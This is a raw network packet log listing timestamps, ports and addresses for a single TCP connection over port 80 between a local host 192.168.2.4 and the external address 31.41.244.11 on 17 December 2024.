Dec 17, 2024 22:06:35.938436985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.939232111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.939423084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.939481020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.940267086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.940439939 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.940499067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.941353083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.941514969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.941572905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.942431927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.942476988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.942797899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.943470955 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.943526983 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.943685055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.944550991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.944598913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.944647074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.945612907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.945662975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.945691109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.945729971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.946713924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.947122097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.947164059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.947782040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.947799921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.947841883 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.948802948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.948868036 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.948956013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.949911118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.949955940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.950083971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.950958014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.950999975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.951204062 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.951248884 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.952008963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.952254057 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.952297926 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.953075886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.953510046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.953599930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.954140902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.954191923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.954224110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.954926968 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.955205917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.955455065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.955497980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.956276894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.956343889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.956387043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.957315922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.957372904 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.957421064 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.957933903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.958396912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.958750963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.958796024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.959465027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.959553957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.959603071 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.960542917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.961205959 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.961239100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.961592913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.961637020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.961927891 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.962665081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.962707996 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.962913036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.963747978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.963784933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.964109898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.964148998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:35.964740992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:35.965461016 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.102576971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.102595091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.102611065 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.102627039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.102716923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.102716923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.103545904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.103599072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.103698969 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.103740931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.104727030 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.104773998 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.105024099 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.105067968 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.105690956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.105736971 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.105823994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.105866909 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.106885910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.106900930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.106929064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.106940985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.107911110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.107958078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.108164072 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.108207941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.108944893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.108988047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.109426022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.110012054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.110068083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.110157967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.110197067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.111125946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.111448050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.111495972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.112158060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.112325907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.112377882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.113209963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.113224983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.113257885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.113287926 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.118330956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118380070 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.118427992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118489981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.118644953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118659019 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118674040 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118688107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118694067 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.118704081 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118721962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118721962 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.118752003 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.118768930 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.118818045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118834972 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.118866920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.118895054 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.119893074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.119939089 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.120043039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.120083094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.120357990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.120373964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.120400906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.120420933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.121943951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.121958971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.122005939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.122836113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.123007059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.123058081 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.123935938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.123950958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.123985052 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.123996973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.125005960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.125052929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.125174046 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.125219107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.125406981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.125423908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.125452042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.125466108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.125648022 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.125699997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.126370907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.126413107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.126773119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.126806021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.126813889 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.126838923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.127815962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.127859116 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.127913952 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.128880978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.128931999 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.129982948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.129998922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.130042076 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.130125046 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.130165100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.130985975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.131098986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.132057905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.132075071 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.132103920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.132117033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.133027077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.133070946 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.133255005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.133305073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.133414984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.133455992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.137207985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.137223005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.137238026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.137252092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.137274981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.137305975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.137656927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.137821913 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.137866020 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.138727903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.138879061 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.138928890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.139925957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.139980078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.140059948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.140105009 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.141005993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.141057014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.141151905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.141213894 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.141757965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.141784906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.141808033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.141822100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.141824007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.141850948 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.141879082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.142740965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.142798901 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.142937899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.142982960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.143800020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.143851042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.143898964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.143960953 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.144817114 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.144964933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.144979000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.145006895 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.145934105 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.145998001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.146183968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.146239996 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.146955013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.147007942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.147047043 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.147214890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.148070097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.148129940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.148169041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.148212910 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.149127007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.149142981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.149188995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.150163889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.150274992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.150326014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.151259899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.151309967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.151360989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.151587009 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.152333975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.152349949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.152394056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.153373957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.153498888 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.153548002 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.154443026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.154488087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.155155897 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.155452967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.155504942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.155550003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.155967951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.156527042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.157258034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.293267012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.293327093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.293387890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.293526888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.293694019 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.293781996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.293818951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.294836998 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.294862032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.294894934 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.295160055 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.295860052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.295903921 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.296063900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.296124935 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.296911001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.296952009 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.296988964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.297034025 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.298003912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.298052073 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.298108101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.298145056 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.299063921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.299113989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.299165964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.299309969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.300123930 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.300172091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.300719976 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.300813913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.301203966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.301254988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.301347017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.301433086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.302299023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.302339077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.302762985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.302809000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.303289890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.303360939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.303834915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.303879023 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.304380894 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.304423094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.304470062 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.304655075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.305443048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.305491924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.305592060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.305771112 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.306524038 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.306612015 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.306678057 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.306724072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.307621002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.307681084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.307725906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.307807922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.308640003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.308692932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.308859110 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.308912992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.309715033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.309827089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.309828997 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.309869051 CET	49825	80	192.168.2.4	31.41.244.11
